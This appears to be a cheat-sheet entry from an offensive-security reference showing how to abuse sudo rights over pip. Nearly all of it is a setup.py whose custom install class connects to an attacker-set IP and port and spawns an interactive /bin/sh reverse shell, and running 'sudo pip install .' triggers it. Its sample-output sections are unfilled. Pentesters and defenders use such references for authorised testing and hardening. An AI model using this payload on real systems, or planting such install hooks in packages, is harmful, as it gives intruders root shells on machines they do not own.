Usage Tips:
- Click on a keyword to enable inline editing.
- Click inside a code block to copy (excludes comments).
- Use the button to view examples.
- Click outside to collapse all examples.
SUDO
1. Create a setup.py
#!/usr/bin/env python3
from setuptools.command.install import install
from setuptools import setup
import os
import socket
import subprocess
class Exploit(install):
def run(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("<LOCAL_IP>",<LOCAL_PORT>)) # CHANGE HERE
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh", "-i"])
setup(
cmdclass={
"install": Exploit
}
)
Sample Output:
TO-DO
2. Exploit
# Run
sudo pip install .
Sample Output:
TO-DO